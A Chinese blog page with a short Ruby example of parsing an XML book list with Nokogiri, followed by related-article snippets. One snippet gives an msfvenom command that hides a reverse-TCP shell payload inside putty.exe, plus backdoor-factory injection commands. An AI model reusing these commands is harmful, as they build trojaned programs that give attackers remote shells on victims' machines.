nokogiri如何使用

直接来个简单的代码实例就明白啦!

 1 require ‘nokogiri‘
 2
 3 xml_data=<<XML
 4   <library>
 5     <NAME><![CDATA[Favorite Books]]></NAME>
 6     <book ISBN="11342343">
 7       <title>To Kill A Mockingbird</title>
 8       <description><![CDATA[Description#1]]></description>
 9       <author>Harper Lee</author>
10     </book>
11     <book ISBN="989894781234">
12       <title>Catcher in the Rye</title>
13       <description><![CDATA[This is an extremely intense description.]]></description>
14       <author>J. D. Salinger</author>
15     </book>
16     <book ISBN="123456789">
17       <title>Murphy\‘s Gambit</title>
18       <description><![CDATA[Daughter finds her dad!]]></description>
19       <author>Syne Mitchell</author>
20     </book>
21   </library>
22 XML
23
24 # 载入数据
25 doc = Nokogiri::XML(xml_data)
26
27 # 使用css获取到结点,遍历读取到Book对象中
28 doc.css(‘book‘).each do |node|
29   children = node.children
30
31   Book.create(
32     :isbn => node[‘ISBN‘],
33     :title => children.css(‘title‘).inner_text,
34     :description => children.css(‘description‘).inner_text,
35     :author => children.css(‘author‘).inner_text
36   )
37 end
时间: 2024-08-10 17:37:48

nokogiri如何使用的相关文章

[翻译][Ruby教程]Nokogiri - 解析HTML/XML文档 / Parsing an HTML/XML Document

From a String From a File From the Internet Parse Options Encoding 原文: Parsing an HTML/XML Document 解析HTML/XML文档 从字符串读取 We’ve tried to make this easy on you. Really! We’re here to make your life easier. 1 html_doc = Nokogiri::HTML("<html><bo

nokogiri 报错

Gem::Ext::BuildError: ERROR: Failed to build gem native extension. /usr/local/Cellar/ruby/2.1.4/bin/ruby -r ./siteconf20150116-80917-1s1c05a.rb extconf.rb --use-system-libraries checking if the C compiler accepts ... yes checking if the C compiler ac

用Nokogiri操作xml文件

目前在Ruby社区,最流行的操作xml的方法是使用nokogiri这个gem.Nokogiri较之于以前的REXML有性能上的优势,因此逐渐取代REXML成为Ruby程序员最通用的xml工具.Nokogiri及其它模块的内存使用情况对比如下图: 此图的来源,以及详细的说明参见这里. 要点: Nokogiri里的几个重要的类:Node/Document/Element/NodeSet/Cdata/Text.其相互继承关系如下图所示:可以说,一个XML文件的内容就由是多个Node对象构成的树型结构表

【转】关于 Nokogiri 的安装依赖 libxml2安装问题

来源:https://ruby-china.org/topics/30243 在自己的os x系统上一直运行正常,包括正常使用nokogiri这个gem,今天 在本地建立新项目,bundle install 报nokogiri安装异常.单独gem install nokogiri,报下面的错误: Building native extensions. This could take a while... ERROR: Error installing nokogiri: ERROR: Faile

Ruby1.9.3-下载网络图片至本地,并按编号保存。

#本程序功能:下载网络图片至本地,并按编号保存. #使用Ruby1.9.3在winxp_sp3下编写. require 'nokogiri' require 'open-uri' #以下 根据网址解析网页. page = Nokogiri::HTML(open("http://www.169bb.com/News/2014-12-20/093288.htm")) arrlen = page.css('img').length mypics = Array.new(arrlen) #以下

Inject Payload Into Normal Files

Payload捆绑注入 msfvenom -a x86 --platform windows -x putty.exe -k -p windows/shell/reverse_tcp LHOST=x.x.x.x LPORT=xxx -e ... -f exe > testtmp.exe backdoor-factory 在指定程序中注入payload backdoor-factory -f Test.exe -S #检测是否支持注入 backdoor-factory -f Test.exe -s

ubuntu 14.04中安装 ruby on rails 环境(填坑版) 呕血推荐

环境:在win7 上Vmware虚拟机环境中安装的ubuntu 14.04 开发相关: ruby 2.2.0 rails 4.2.0 sublime text 3 本文说明:所有的命令均在$ 之后,若$前边带有信息,只是为了方便你理解和与自己对照. 安装过程中由于这样那样的原因,产生许多坑,所谓坑是对初学者来说,大牛们飘过吧. 步骤1.从官网下载ubuntu 14.04 X64 http://124.205.69.136/files/2013000000502943/202.141.176.11

Mac上RoR环境搭建问题

昨天一晚上折磨的我啊都快疯掉了. 按照http://railstutorial-china.org方法配制,到rvm requirements这个命令执行时就麻烦事来了. WutekiMacBook-Pro:~ wuxj$ rvm requirements Checking requirements for osx. Error: No available formula for gcc46 Installing requirements for osx. Updating system....

ruby 编写api程序

其实ruby写api程序是非常简单,前提是api本身比较规范,而不是乱七八糟的.. class ApiDemo     # 定义接口   API_QERUY = [       :userAdd              # 用户资料添加   ]      # 实现幽灵方法   def method_missing(method_name, *args, &block)       API_QERUY.each do |v|         if v.to_s == method_name.to